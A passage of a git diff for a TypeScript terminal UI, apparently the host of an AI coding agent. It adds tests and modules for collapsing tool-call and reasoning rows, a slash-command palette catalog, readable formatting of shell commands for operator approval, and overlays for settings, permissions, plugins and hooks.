ChromeSessionAgent[] | null | undefined, +): ChromeAgentSession[] | null | undefined { + if (agents === undefined) return undefined + if (agents === null) return null + if (agents.length === 0) return null + + return agents.map((a) => { + const agentId = (a.agentId ?? a.id ?? "").trim() + return { + agentId: agentId.length > 0 ? agentId : "agent", + description: a.description, + status: a.status, + ...(a.currentToolName !== undefined + ? { currentToolName: a.currentToolName } + : {}), + } + }) +} + diff --git a/src/tui-opentui/collapse.test.ts b/src/tui-opentui/collapse.test.ts new file mode 100644 index 000000000..44fba5606 --- /dev/null +++ b/src/tui-opentui/collapse.test.ts @@ -0,0 +1,221 @@ +/** + * Collapse-by-default contract: what a tool call and a chain of thought look + * like before the expand key is pressed, and that neither ever escapes the + * shared gutter on its way there. + */ +import { describe, expect, test } from "bun:test" +import { toolCallRow } from "./diff" +import { resolveSideMargin } from "./geometry/margins" +import { withTestRenderer } from "./harness" +import { + appendStreamRow, + createAppShell, + toggleCollapsedRow, + shellFocusTranscript, + type AppShell, +} from "./shell" +import { + EXPAND_HINT_LABEL, + isCollapsibleRow, + paintStreamRow, + type RowLayout, + type StreamRow, +} from "./stream" +import { thinkingScrollLine, thinkingSettledLine } from "./thinking" +import { describeView, toolArgsView } from "./tool-args" + +const WIDE: RowLayout = { width: 96, multiAgent: false } + +const lines = (row: StreamRow, layout: RowLayout = WIDE): string[] => + paintStreamRow(row, layout).content.split("\n") + +const VIEW_ARGS = JSON.stringify({ + view: { + type: "stack", + children: [ + { type: "text", text: "yoooo", bold: true }, + { type: "text", text: "what's up?", tone: "muted" }, + ], + }, +}) + +function inkRows(frame: string): readonly string[] { + return frame.split("\n").filter((row) => row.trim().length > 0) +} + +async function paint( + rows: readonly StreamRow[], + columns: number, + inspect: (frame: string, shell: AppShell) => void, +): Promise { + await withTestRenderer( + async (h) => { + const shell = createAppShell(h.renderer, { + terminal: { columns, rows: 24 }, + wireKeys: false, + }) + try { + for (const row of rows) appendStreamRow(shell, row) + // Bodies the renderer owns settle a frame after they are added. + await new Promise((resolve) => setTimeout(resolve, 250)) + await h.renderOnce() + inspect(h.captureCharFrame(), shell) + } finally { + shell.dispose() + } + }, + { width: columns, height: 24 }, + ) +} + +describe("tool bodies stay inside the gutter", () => { + test("a wrapped tool body never starts at column 0", async () => { + // A body with no summary of its own (a long result) is the case that used + // to hard-wrap to column 0, outside both the gutter and the meta column. + const row: StreamRow = { + role: "tool", + meta: "bash", + text: "the command printed a very long single line of output that has to wrap several times before it runs out of words to say", + } + await paint([row], 80, (frame) => { + const gutter = resolveSideMargin(80) + const painted = inkRows(frame).filter((line) => line.includes("wrap")) + expect(painted.length).toBeGreaterThan(0) + for (const line of painted) { + expect(line.slice(0, gutter).trim()).toBe("") + } + }) + }) + + test("every wrapped line lands on the call's body column", () => { + const row: StreamRow = { + role: "tool", + meta: "bash", + text: "one two three four five six seven eight nine ten eleven twelve thirteen fourteen", + } + const painted = lines(row, { width: 40, multiAgent: false }) + expect(painted.length).toBeGreaterThan(1) + const body = (painted[0] as string).indexOf("one") + for (const line of painted.slice(1)) { + expect(line.startsWith(" ".repeat(body))).toBe(true) + expect(line.trimStart().length).toBeGreaterThan(0) + expect(line.length).toBeLessThanOrEqual(40) + } + }) +}) + +describe("tool arguments collapse to a human summary", () => { + test("a view tree reads as its shape, never as its JSON", () => { + const row = toolCallRow({ name: "present", arguments: VIEW_ARGS }) + expect(row.summary).toBe("stack · 2 text nodes") + const collapsed = lines(row) + expect(collapsed.length).toBe(1) + expect(collapsed[0]).toContain("stack · 2 text nodes") + expect(collapsed[0]).toContain(`${EXPAND_HINT_LABEL} expand`) + expect(collapsed[0]).not.toContain("{") + }) + + test("expanding renders the view, not pretty-printed JSON", () => { + const row = toolCallRow({ name: "present", arguments: VIEW_ARGS }) + const expanded = lines({ ...row, expanded: true }).join("\n") + expect(expanded).toContain(`${EXPAND_HINT_LABEL} collapse`) + expect(expanded).toContain("yoooo") + expect(expanded).toContain("what's up?") + expect(expanded).not.toContain('"type"') + }) + + test("a shell call keeps its command, with newlines intact when opened", () => { + const row = toolCallRow({ + name: "run_shell", + arguments: JSON.stringify({ command: "bun test\nbun run build", cwd: "/repo" }), + }) + expect(row.summary).toContain("bun test") + const expanded = lines({ ...row, expanded: true }).join("\n") + expect(expanded).toContain("bun run build") + expect(expanded).toContain("cwd: ") + }) + + test("short literal arguments are left alone rather than summarised", () => { + expect(toolArgsView("grep", "token")).toBeNull() + }) + + test("a view tree is described by what it is made of", () => { + expect( + describeView({ + type: "stack", + children: [{ type: "divider" }, { type: "text", text: "a" }], + }), + ).toBe("stack · 1 divider node · 1 text node") + }) + + test("the collapsed call paints its summary and hides the JSON", async () => { + await paint([toolCallRow({ name: "present", arguments: VIEW_ARGS })], 80, (frame) => { + expect(frame).toContain("stack · 2 text nodes") + expect(frame).not.toContain('"children"') + }) + }) + + test("the expand key opens the newest summarised call", async () => { + await paint([toolCallRow({ name: "present", arguments: VIEW_ARGS })], 80, (_frame, shell) => { + shellFocusTranscript(shell) + expect(toggleCollapsedRow(shell)).toBe(true) + expect(shell.streamLog[0]?.expanded).toBe(true) + }) + }) +}) + +describe("reasoning collapses to one line", () => { + const text = + "the token helper is referenced from four packages and two of them are vendored, so the rename has to land in one commit" + + test("while thinking it is a single row windowed onto the newest text", () => { + const painted = lines({ role: "system", meta: "thinking", text, streaming: true }) + expect(painted.length).toBe(1) + // Inset and dim is the whole of reasoning's chrome; it carries no rail. + expect(painted[0]).not.toContain("┆") + expect(painted[0]?.trimEnd().endsWith("one commit")).toBe(true) + expect((painted[0] as string).length).toBeLessThanOrEqual(WIDE.width) + }) + + test("the window follows the tail rather than growing the row", () => { + expect(thinkingScrollLine("abc def", 20)).toBe("abc def") + expect(thinkingScrollLine("abcdefghij", 4)).toBe("ghij") + expect(thinkingScrollLine("line one\nline two", 40)).toBe("line one line two") + }) + + test("once done it keeps its own text rather than swapping in a phrase", () => { + const row: StreamRow = { + role: "system", + meta: "thinking", + text, + thought: { ms: 12_000 }, + } + const collapsed = lines(row) + expect(collapsed.length).toBe(1) + // The line the operator was reading stays put; nothing is substituted. + expect(collapsed[0]).toContain("the token helper is referenced") + expect(collapsed[0]).toContain(`${EXPAND_HINT_LABEL} expand`) + expect(isCollapsibleRow(row)).toBe(true) + + const expanded = lines({ ...row, expanded: true }) + expect(expanded.length).toBeGreaterThan(1) + expect(expanded[0]).toContain(`${EXPAND_HINT_LABEL} collapse`) + expect(expanded.join("\n")).toContain("one commit") + // Railed body, then the tick that closes the panel and carries the time. + for (const line of expanded.slice(1, -1)) expect(line).toContain("┆") + expect(expanded[expanded.length - 1]?.trim()).toBe("╵ 12s") + }) + + test("a long chain of thought is cut, never wrapped onto a second row", () => { + expect(thinkingSettledLine("abc def", 20)).toBe("abc def") + expect(thinkingSettledLine("abcdefghij", 6)).toBe("abcde…") + expect(thinkingSettledLine("line one\nline two", 40)).toBe("line one line two") + }) + + test("a hydrated reasoning row with no elapsed time keeps its block", () => { + const painted = lines({ role: "system", meta: "thinking", text: "a\nb" }) + expect(painted.length).toBe(2) + expect(painted.every((line) => !line.includes("┆"))).toBe(true) + expect(painted.map((line) => line.trim())).toEqual(["a", "b"]) + }) +}) diff --git a/src/tui-opentui/command-catalog.test.ts b/src/tui-opentui/command-catalog.test.ts new file mode 100644 index 000000000..725c20887 --- /dev/null +++ b/src/tui-opentui/command-catalog.test.ts @@ -0,0 +1,74 @@ +import { describe, expect, test } from "bun:test" +import { + buildCommandCatalog, + commandItemsFromRegistry, +} from "./command-catalog" +import { DEFAULT_PALETTE_COMMANDS, paletteDispatchOf } from "./palette" + +describe("buildCommandCatalog", () => { + test("maps listCommands-shaped entries to dispatch command names", () => { + const catalog = buildCommandCatalog([ + { name: "compact", description: "Compact history" }, + { name: "model", description: "Open model picker" }, + ]) + + const compact = catalog.find((c) => c.id === "compact") + expect(compact).toBeDefined() + expect(compact!.dispatch).toBe("command") + expect(compact!.label).toContain("/compact") + expect(compact!.label).toContain("Compact history") + expect(paletteDispatchOf(compact!)).toBe("command") + + const model = catalog.find((c) => c.id === "model") + expect(model?.dispatch).toBe("command") + }) + + test("includes residual openers alongside registry commands", () => { + const catalog = buildCommandCatalog([ + { name: "compact", description: "Compact history" }, + ]) + expect(catalog.some((c) => c.id === "permissions")).toBe(true) + expect(catalog.some((c) => c.id === "compact")).toBe(true) + expect(catalog.length).toBeGreaterThan(DEFAULT_PALETTE_COMMANDS.length) + }) + + test("preferRegistry drops residual when registry reuses id", () => { + const catalog = buildCommandCatalog([ + { name: "help", description: "Slash help" }, + ]) + const helps = catalog.filter((c) => c.id === "help") + expect(helps.length).toBe(1) + expect(helps[0]!.dispatch).toBe("command") + }) + + test("empty registry still yields residual catalog", () => { + const catalog = buildCommandCatalog([]) + expect(catalog.length).toBe(DEFAULT_PALETTE_COMMANDS.length) + expect(catalog.every((c) => c.dispatch === "residual")).toBe(true) + }) +}) + +describe("commandItemsFromRegistry", () => { + test("registry-only items all dispatch as command", () => { + const items = commandItemsFromRegistry([ + { name: "tasks", description: "Show work list" }, + { name: "clear", description: "Clear screen" }, + ]) + expect(items).toEqual([ + { + id: "tasks", + label: "/tasks — Show work list", + keywords: ["tasks", "slash", "command"], + dispatch: "command", + category: "command", + }, + { + id: "clear", + label: "/clear — Clear screen", + keywords: ["clear", "slash", "command"], + dispatch: "command", + category: "session", + }, + ]) + }) +}) diff --git a/src/tui-opentui/command-catalog.ts b/src/tui-opentui/command-catalog.ts new file mode 100644 index 000000000..d16000a67 --- /dev/null +++ b/src/tui-opentui/command-catalog.ts @@ -0,0 +1,47 @@ +/** + * Registry → palette catalog bridge for OpenTUI production host. + * + * Pure: host injects `listCommands()` results (or fixtures). No registry import + * here — avoids circular / heavy deps from `src/tui/commands`. + * + * setPaletteCatalog(shell, buildCommandCatalog(listCommands())) + */ + +import { + buildPaletteCatalog, + commandsToPaletteItems, + type BuildPaletteCatalogOpts, + type PaletteCommand, + type RegistryCommandSource, +} from "./palette.js" + +export type { PaletteCommand, RegistryCommandSource } + +export type BuildCommandCatalogOpts = Omit + +/** + * Map `listCommands()`-shaped entries into a palette catalog for setPaletteCatalog. + * + * Includes residual product openers (permissions, model picker, …) plus registry + * slash commands with `dispatch: "command"` and `id` = command name. Registry + * names win over residual openers with the same id (preferRegistry default). + */ +export function buildCommandCatalog( + commands: readonly RegistryCommandSource[], + opts?: BuildCommandCatalogOpts, +): readonly PaletteCommand[] { + return buildPaletteCatalog({ + ...opts, + commands, + }) +} + +/** + * Registry slash entries only (no residual openers). Each item has + * `dispatch: "command"` and `id` equal to the command name. + */ +export function commandItemsFromRegistry( + commands: readonly RegistryCommandSource[], +): PaletteCommand[] { + return commandsToPaletteItems(commands) +} diff --git a/src/tui/command-display.test.ts b/src/tui-opentui/command-display.test.ts similarity index 100% rename from src/tui/command-display.test.ts rename to src/tui-opentui/command-display.test.ts diff --git a/src/tui/command-display.ts b/src/tui-opentui/command-display.ts similarity index 86% rename from src/tui/command-display.ts rename to src/tui-opentui/command-display.ts index b4450d2ab..319ee1e12 100644 --- a/src/tui/command-display.ts +++ b/src/tui-opentui/command-display.ts @@ -6,6 +6,8 @@ // grouping is coarser (pipes stay inline) and must never feed back into a // security decision. +import { sliceTailToWidth, sliceToWidth, stringWidth } from "../tui/view/height.js"; + // `&` participates in a redirect when it opens a bash combined redirect // (`&>file`) or duplicates a fd (`2>&1`, `<&-`); only a lone `&` word is the // background operator. Mirrors the same rule in src/permission/command.ts. @@ -465,14 +467,65 @@ export function collapseSegmentPayloads(segment: string): CollapsedSegment { return { display, payloads }; } -// Truncate to `max` characters keeping both the head and tail, so a set of +// Truncate to `max` columns keeping both the head and tail, so a set of // strings that share a long common prefix (e.g. persistent Allow options that // differ only in their trailing grant note) stay visually distinguishable // instead of all clipping at the same point. export function middleEllipsis(text: string, max: number): string { - if (text.length <= max || max <= 1) return text.length <= max ? text : text.slice(0, max); + if (stringWidth(text) <= max) return text; + if (max <= 1) return sliceToWidth(text, max); + // The ellipsis is itself a column that has to come out of the budget. const keep = max - 1; const head = Math.ceil(keep / 2); - const tail = Math.floor(keep / 2); - return `${text.slice(0, head)}…${text.slice(text.length - tail)}`; + return `${sliceToWidth(text, head)}…${sliceTailToWidth(text, keep - head)}`; +} + +export type CommandDisplay = { + readonly lines: readonly string[]; + // How many payloads were replaced by a placeholder. Zero when nothing was + // collapsed, which is what tells the caller whether to offer the expand key. + readonly payloadCount: number; +}; + +// A payload line is rendered through verbatimCommandLines so a bare CR inside +// it shows as a visible ↵ instead of repainting the row the operator is +// reading — the same Trojan-Source defence the verbatim block applies. +function renderPayloadLine(line: string): string { + return verbatimCommandLines(line) + .map((l) => l.text) + .join(" "); +} + +// Render an approval subject for the operator: every chain segment on its own +// numbered line (so a second destructive command can never hide inside a wall +// of text), with heredoc / multi-line quoted payloads collapsed to a +// placeholder. When `expanded`, each placeholder keeps its line and the full +// payload is printed underneath it — the placeholder never disappears, so the +// collapsed and expanded views describe the same command. +// +// A single unchained segment is not numbered: the number exists to expose +// chaining, and prefixing a lone command with "1)" only adds noise. +export function formatCommandForApproval( + command: string, + opts?: { readonly expanded?: boolean }, +): CommandDisplay { + const segments = groupChainSegmentsForDisplay(command); + if (segments.length === 0) return { lines: [command], payloadCount: 0 }; + + const collapsed = segments.map(collapseSegmentPayloads); + const chained = segments.length > 1; + const lines: string[] = []; + let payloadCount = 0; + + collapsed.forEach((segment, i) => { + payloadCount += segment.payloads.length; + lines.push(chained ? `${i + 1}) ${segment.display}` : segment.display); + if (opts?.expanded !== true) return; + for (const payload of segment.payloads) { + lines.push(` ${payload.placeholder}`); + for (const line of payload.lines) lines.push(` ${renderPayloadLine(line)}`); + } + }); + + return { lines, payloadCount }; } diff --git a/src/tui-opentui/command-surfaces.test.ts b/src/tui-opentui/command-surfaces.test.ts new file mode 100644 index 000000000..26994da1f --- /dev/null +++ b/src/tui-opentui/command-surfaces.test.ts @@ -0,0 +1,537 @@ +/** + * Slash-command surfaces: settings menu, permissions revoke, plugin toggle. + */ +import { describe, expect, test } from "bun:test" + +import { + grantRowLabel, + openCommandSurface, + pluginRowLabel, + type CommandSurfaceDeps, + type GrantEntry, + type PluginEntry, + type PluginsSurfaceDeps, + type SettingsSnapshot, +} from "./command-surfaces" +import type { KeyEvent } from "@opentui/core" + +import { withTestRenderer } from "./harness" +import { + acceptOverlaySelection, + createAppShell, + cycleOverlaySelection, + moveOverlaySelection, + runOverlayAction, + type AppShell, +} from "./shell" + +function baseSnapshot(): SettingsSnapshot { + return { + compactionMode: "llm", + sessionMode: "orchestrator", + sessionModeScope: "global", + maxConcurrentSubAgents: 3, + waitForApproval: true, + telemetryEnabled: false, + showPromptCost: false, + } +} + +async function withShell(fn: (shell: AppShell) => Promise | void): Promise { + await withTestRenderer( + async (h) => { + const shell = createAppShell(h.renderer, { + terminal: { columns: 80, rows: 24 }, + wireKeys: false, + }) + try { + await fn(shell) + } finally { + shell.dispose() + } + }, + { width: 80, height: 24 }, + ) +} + +describe("surface labels", () => { + test("grant label carries scope, tool, pattern, provider model", () => { + const entry: GrantEntry = { + id: "0", + scopeLabel: "This project", + tool: "shell", + pattern: "git status", + providerModel: "anthropic/opus", + } + expect(grantRowLabel(entry)).toBe("This project · shell git status (anthropic/opus)") + }) + + test("plugin label reports trust before enablement", () => { + const entry: PluginEntry = { + id: "a", + name: "linear", + enabled: false, + needsTrust: true, + credentials: [], + credentialValues: {}, + } + expect(pluginRowLabel(entry)).toBe("linear — untrusted") + expect( + pluginRowLabel({ + id: "b", + name: "exa", + enabled: true, + credentials: [], + credentialValues: {}, + }), + ).toBe("exa — enabled") + }) + +}) + +/** Build a settings deps bag over a mutable snapshot, recording every write. */ +function settingsDeps(overrides?: Partial): { + readonly deps: CommandSurfaceDeps + readonly snapshot: () => SettingsSnapshot + readonly calls: { + compaction: string[] + sessionMode: Array<{ mode: string; scope: string }> + subagents: number[] + waitForApproval: boolean[] + telemetry: boolean[] + showPromptCost: boolean[] + } +} { + let state: SettingsSnapshot = { ...baseSnapshot(), ...overrides } + const calls = { + compaction: [] as string[], + sessionMode: [] as Array<{ mode: string; scope: string }>, + subagents: [] as number[], + waitForApproval: [] as boolean[], + telemetry: [] as boolean[], + showPromptCost: [] as boolean[], + } + const deps: CommandSurfaceDeps = { + notify: () => {}, + settings: { + read: () => state, + setCompactionMode: (mode) => { + calls.compaction.push(mode) + state = { ...state, compactionMode: mode } + }, + setSessionMode: (mode, scope) => { + calls.sessionMode.push({ mode, scope }) + state = { ...state, sessionMode: mode, sessionModeScope: scope } + }, + setMaxConcurrentSubAgents: (limit) => { + calls.subagents.push(limit) + state = { ...state, maxConcurrentSubAgents: limit } + }, + setWaitForApproval: (value) => { + calls.waitForApproval.push(value) + state = { ...state, waitForApproval: value } + }, + setTelemetryEnabled: (value) => { + calls.telemetry.push(value) + state = { ...state, telemetryEnabled: value } + }, + setShowPromptCost: (value) => { + calls.showPromptCost.push(value) + state = { ...state, showPromptCost: value } + }, + }, + } + return { deps, snapshot: () => state, calls } +} + +describe("settings surface", () => { + test("rows show live values and the description zone stays two lines", async () => { + await withShell(async (shell) => { + const { deps } = settingsDeps() + expect(openCommandSurface(shell, "settings", deps)).toBe(true) + await Promise.resolve() + await Promise.resolve() + + expect(shell.overlayItems.some((l) => l.includes("summarize"))).toBe(true) + expect(shell.overlayItems.some((l) => l.includes("3"))).toBe(true) + expect(shell.overlayItems.some((l) => l.includes("off"))).toBe(true) + }) + }) + + test("left/right cycles compaction in place and persists", async () => { + await withShell(async (shell) => { + const { deps, calls } = settingsDeps() + openCommandSurface(shell, "settings", deps) + await Promise.resolve() + await Promise.resolve() + + expect(cycleOverlaySelection(shell, 1)).toBe(true) + await Promise.resolve() + await Promise.resolve() + expect(calls.compaction).toEqual(["pruning"]) + expect(shell.overlayKind).toBe("settings") + expect(shell.overlayItems[0]).toContain("drop") + }) + }) + + test("left/right cycles the sub-agent cap through its numeric choices", async () => { + await withShell(async (shell) => { + const { deps, calls } = settingsDeps() + openCommandSurface(shell, "settings", deps) + await Promise.resolve() + await Promise.resolve() + + moveOverlaySelection(shell, 3) // compaction, session mode, scope, subagents + cycleOverlaySelection(shell, 1) + await Promise.resolve() + await Promise.resolve() + expect(calls.subagents).toEqual([4]) + }) + }) + + test("session mode scope switch honours a local write", async () => { + await withShell(async (shell) => { + const { deps, calls } = settingsDeps() + openCommandSurface(shell, "settings", deps) + await Promise.resolve() + await Promise.resolve() + + moveOverlaySelection(shell, 2) // compaction, session mode, scope + cycleOverlaySelection(shell, 1) + await Promise.resolve() + await Promise.resolve() + expect(calls.sessionMode).toEqual([{ mode: "orchestrator", scope: "local" }]) + }) + }) + + test("left/right cycles the show-cost row and persists, with a self-describing row", async () => { + await withShell(async (shell) => { + const { deps, calls } = settingsDeps() + openCommandSurface(shell, "settings", deps) + await Promise.resolve() + await Promise.resolve() + + expect(shell.overlayItems.some((l) => l.includes("show cost"))).toBe(true) + + moveOverlaySelection(shell, 6) // compaction, session mode, scope, subagents, approval wait, telemetry, show cost + cycleOverlaySelection(shell, 1) + await Promise.resolve() + await Promise.resolve() + expect(calls.showPromptCost).toEqual([true]) + expect(shell.overlayItems.some((l) => l.includes("show cost"))).toBe(true) + }) + }) + + test("arrow navigation still moves the cursor in a non-cycling overlay", async () => { + await withShell(async (shell) => { + const deps: CommandSurfaceDeps = { + notify: () => {}, + // Only the fields this test exercises; the rest of PluginsSurfaceDeps + // (credentials, verify, web providers) belongs to the plugins surface, + // not to this arrow-navigation scoping test. + plugins: { + list: () => [ + { id: "linear", name: "linear", enabled: false, credentials: [], credentialValues: {} }, + { id: "exa", name: "exa", enabled: true, credentials: [], credentialValues: {} }, + ], + setEnabled: () => {}, + } as unknown as PluginsSurfaceDeps, + } + openCommandSurface(shell, "plugins", deps) + expect(shell.overlayList?.activeIndex).toBe(0) + moveOverlaySelection(shell, 1) + expect(shell.overlayList?.activeIndex).toBe(1) + // Left/Right mean nothing here: no onCycle was supplied for this open. + expect(cycleOverlaySelection(shell, 1)).toBe(false) + expect(shell.overlayList?.activeIndex).toBe(1) + }) + }) +}) + +describe("permissions surface", () => { + test("lists live grants and revokes the accepted row", async () => { + await withShell(async (shell) => { + let grants: GrantEntry[] = [ + { id: "0", scopeLabel: "Global", tool: "shell", pattern: "ls" }, + { id: "1", scopeLabel: "This project", tool: "read", pattern: "src/**" }, + ] + const revoked: string[] = [] + const deps: CommandSurfaceDeps = { + notify: () => {}, + permissions: { + list: () => Promise.resolve(grants), + revoke: (id) => { + revoked.push(id) + grants = grants.filter((g) => g.id !== id) + return Promise.resolve() + }, + }, + } + openCommandSurface(shell, "permissions", deps) + await Promise.resolve() + expect(shell.overlayItems[0]).toBe("Global · shell ls") + + acceptOverlaySelection(shell) + await Promise.resolve() + await Promise.resolve() + expect(revoked).toEqual(["0"]) + expect(shell.overlayItems[0]).toBe("This project · read src/**") + }) + }) + + test("empty grant list still opens with a hint row", async () => { + await withShell(async (shell) => { + const deps: CommandSurfaceDeps = { + notify: () => {}, + permissions: { list: () => Promise.resolve([]), revoke: () => Promise.resolve() }, + } + openCommandSurface(shell, "permissions", deps) + await Promise.resolve() + expect(shell.overlayItems[0]).toContain("No remembered approvals") + }) + }) + + test("no permissions dep notifies instead of opening", async () => { + await withShell((shell) => { + const notes: string[] = [] + openCommandSurface(shell, "permissions", { notify: (t) => notes.push(t) }) + expect(shell.overlayList).toBeNull() + expect(notes).toHaveLength(1) + }) + }) +}) + +describe("plugins surface", () => { + test("toggles enablement and re-opens with the new state", async () => { + await withShell(async (shell) => { + const state = new Map([ + ["linear", false], + ["exa", true], + ]) + const deps: CommandSurfaceDeps = { + notify: () => {}, + // Same partial-mock rationale as the arrow-navigation test above. + plugins: { + list: () => + [...state].map(([id, enabled]: [string, boolean]) => ({ + id, + name: id, + enabled, + credentials: [], + credentialValues: {}, + })), + setEnabled: (id: string, enabled: boolean) => { + state.set(id, enabled) + }, + } as unknown as PluginsSurfaceDeps, + } + openCommandSurface(shell, "plugins", deps) + expect(shell.overlayItems[0]).toBe("linear — disabled") + + acceptOverlaySelection(shell) + await Promise.resolve() + await Promise.resolve() + expect(state.get("linear")).toBe(true) + expect(shell.overlayItems[0]).toBe("linear — enabled") + }) + }) +}) + +function key(name: string): KeyEvent { + return { name, ctrl: false, meta: false, option: false, sequence: name } as KeyEvent +} + +/** Alt+, for the plugins surface's row actions (c/v/t/a/w). */ +function altKey(name: string): KeyEvent { + return { name, ctrl: false, meta: false, option: true, sequence: name } as KeyEvent +} + +function charKey(seq: string): KeyEvent { + return { name: seq, ctrl: false, meta: false, option: false, sequence: seq } as KeyEvent +} + +/** Full-featured fake for the admin-action tests: one secret credential field. */ +function pluginActionDeps(overrides?: Partial): { + readonly deps: CommandSurfaceDeps + readonly calls: { + setEnabled: Array<{ id: string; enabled: boolean }> + saveCredentials: Array<{ id: string; credentials: Record }> + verify: Array<{ id: string; credentials: Record }> + addPath: string[] + setWebProvider: Array + } + readonly notes: string[] +} { + const calls = { + setEnabled: [] as Array<{ id: string; enabled: boolean }>, + saveCredentials: [] as Array<{ id: string; credentials: Record }>, + verify: [] as Array<{ id: string; credentials: Record }>, + addPath: [] as string[], + setWebProvider: [] as Array, + } + const notes: string[] = [] + let entry: PluginEntry = { + id: "exa", + name: "exa-search", + kind: "web", + enabled: false, + credentials: [{ key: "apiKey", label: "API key", secret: true }], + credentialValues: {}, + ...overrides, + } + const plugins: PluginsSurfaceDeps = { + list: () => [entry], + setEnabled: (id, enabled) => { + calls.setEnabled.push({ id, enabled }) + entry = { ...entry, enabled } + }, + saveCredentials: (id, credentials) => { + calls.saveCredentials.push({ id, credentials }) + entry = { ...entry, credentialValues: credentials } + }, + verify: (id, credentials) => { + calls.verify.push({ id, credentials }) + return Promise.resolve({ ok: true, message: "connected" }) + }, + addPath: (path) => { + calls.addPath.push(path) + return Promise.resolve({ ok: true, message: `added ${path}` }) + }, + webProviders: () => [{ id: "exa", name: "exa-search" }], + currentWebProvider: () => undefined, + setWebProvider: (id) => { + calls.setWebProvider.push(id) + }, + } + const deps: CommandSurfaceDeps = { notify: (t) => notes.push(t), plugins } + return { deps, calls, notes } +} + +describe("plugins surface admin actions", () => { + test("c opens credentials, typing a 40+ char key and s saves it in full", async () => { + await withShell(async (shell) => { + const { deps, calls } = pluginActionDeps() + openCommandSurface(shell, "plugins", deps) + + expect(runOverlayAction(shell, altKey("c"))).toBe(true) + expect(shell.overlayKind).toBe("plugin_credentials") + + acceptOverlaySelection(shell) // start editing the apiKey field + const longKey = "sk-" + "a".repeat(40) + for (const ch of longKey) { + expect(runOverlayAction(shell, charKey(ch))).toBe(true) + } + // The secret is never painted in the clear anywhere in the rendered row. + for (const line of shell.overlayItems) expect(line).not.toContain(longKey) + + acceptOverlaySelection(shell) // commit the field edit + expect(runOverlayAction(shell, key("s"))).toBe(true) + await Promise.resolve() + expect(calls.saveCredentials).toEqual([{ id: "exa", credentials: { apiKey: longKey } }]) + }) + }) + + test("v verifies the currently saved credentials", async () => { + await withShell(async (shell) => { + const { deps, calls } = pluginActionDeps({ credentialValues: { apiKey: "saved-key" } }) + openCommandSurface(shell, "plugins", deps) + expect(runOverlayAction(shell, altKey("v"))).toBe(true) + await Promise.resolve() + expect(calls.verify).toEqual([{ id: "exa", credentials: { apiKey: "saved-key" } }]) + }) + }) + + test("a prompts for a path and reaches addPath", async () => { + await withShell(async (shell) => { + const { deps, calls } = pluginActionDeps() + openCommandSurface(shell, "plugins", deps) + expect(runOverlayAction(shell, altKey("a"))).toBe(true) + for (const ch of "/tmp/my-plugin") runOverlayAction(shell, charKey(ch)) + acceptOverlaySelection(shell) + await Promise.resolve() + expect(calls.addPath).toEqual(["/tmp/my-plugin"]) + }) + }) + + test("w opens a web provider chooser and setWebProvider is called with the chosen id", async () => { + await withShell(async (shell) => { + const { deps, calls } = pluginActionDeps() + openCommandSurface(shell, "plugins", deps) + expect(runOverlayAction(shell, altKey("w"))).toBe(true) + moveOverlaySelection(shell, 1) // automatic, exa-search, back — pick exa-search + acceptOverlaySelection(shell) + await Promise.resolve() + expect(calls.setWebProvider).toEqual(["exa"]) + }) + }) + + test("an untrusted plugin cannot be enabled before it is trusted", async () => { + await withShell(async (shell) => { + const { deps, calls, notes } = pluginActionDeps({ needsTrust: true, enabled: false }) + openCommandSurface(shell, "plugins", deps) + + acceptOverlaySelection(shell) // Enter while untrusted + expect(calls.setEnabled).toEqual([]) + expect(notes.length).toBeGreaterThan(0) + + expect(runOverlayAction(shell, altKey("t"))).toBe(true) + await Promise.resolve() + expect(calls.setEnabled).toEqual([{ id: "exa", enabled: true }]) + }) + }) +}) + +describe("hooks surface", () => { + test("lists discovered hooks with enabled state and Enter toggles", async () => { + await withShell(async (shell) => { + const state = new Map([["/hooks/a.ts", true]]) + const deps: CommandSurfaceDeps = { + notify: () => {}, + hooks: { + list: () => + [...state].map(([id, enabled]) => ({ + id, + name: "a.ts", + type: "typescript" as const, + path: id, + enabled, + runsOn: "runs postTurn", + })), + setEnabled: (id, enabled) => { + state.set(id, enabled) + }, + }, + } + openCommandSurface(shell, "hooks", deps) + expect(shell.overlayItems[0]).toBe("a.ts — enabled") + + acceptOverlaySelection(shell) + await Promise.resolve() + await Promise.resolve() + expect(state.get("/hooks/a.ts")).toBe(false) + expect(shell.overlayItems[0]).toBe("a.ts — disabled") + }) + }) +}) + +describe("model surface", () => { + test("routes to the host picker, and reports the gap when absent", async () => { + await withShell((shell) => { + let opened = 0 + expect( + openCommandSurface(shell, "models", { notify: () => {}, openModels: () => opened++ }), + ).toBe(true) + expect(opened).toBe(1) + expect(openCommandSurface(shell, "models", { notify: () => {} })).toBe(false) + }) + }) +}) + +describe("help surface", () => { + test("opens the keymap overlay", async () => { + await withShell((shell) => { + expect(openCommandSurface(shell, "help", { notify: () => {} })).toBe(true) + expect(shell.overlayKind).toBe("help") + }) + }) +}) diff --git a/src/tui-opentui/command-surfaces.ts b/src/tui-opentui/command-surfaces.ts new file mode 100644 index 000000000..8374faf7c --- /dev/null +++ b/src/tui-opentui/command-surfaces.ts @@ -0,0 +1,920 @@ +/** + * Slash-command surfaces for the OpenTUI host. + * + * Commands whose result asks for a surface (settings, permissions, plugins, + * help, model picker) are routed here and opened on the shared overlay host + * with host-supplied data. Nothing in this module reaches into session state — + * every read and write arrives through {@link CommandSurfaceDeps}, so the + * surfaces stay testable without a live runner. + */ + +import type { KeyEvent } from "@opentui/core" + +import type { SessionMode } from "../config/session-mode.js" +import { maskEcho, maskSecret } from "./provider-setup.js" +import { residualIdFromSelection, type ResidualCatalogEntry } from "./residuals.js" +import { + closeInsetOverlay, + openHelpOverlay, + openListOverlay, + openSettingsOverlay, + type AppShell, + type ItemDescription, + type OverlaySelection, +} from "./shell.js" + +/** A remembered approval, flattened for display and revocation by id. */ +export type GrantEntry = { + readonly id: string + readonly scopeLabel: string + readonly tool: string + readonly pattern: string + readonly providerModel?: string +} + +/** One credential field a plugin's manifest asks for (mirrors PluginCredentialField). */ +export type PluginCredentialFieldEntry = { + readonly key: string + readonly label: string + readonly description?: string + readonly secret?: boolean +} + +/** A discovered plugin with its live enablement, trust, and credential state. */ +export type PluginEntry = { + readonly id: string + readonly name: string + readonly kind?: string + readonly description?: string + readonly enabled: boolean + readonly needsTrust?: boolean + readonly canRevokeTrust?: boolean + readonly credentials: readonly PluginCredentialFieldEntry[] + readonly credentialValues: Readonly> + readonly agentProfiles?: readonly { readonly id: string; readonly tier?: string; readonly description?: string }[] + /** Absolute path an untrusted path-origin plugin was discovered at. */ + readonly originPath?: string +} + +/** Result of a verify/addPath admin action, reported via `deps.notify`. */ +export type PluginActionResult = 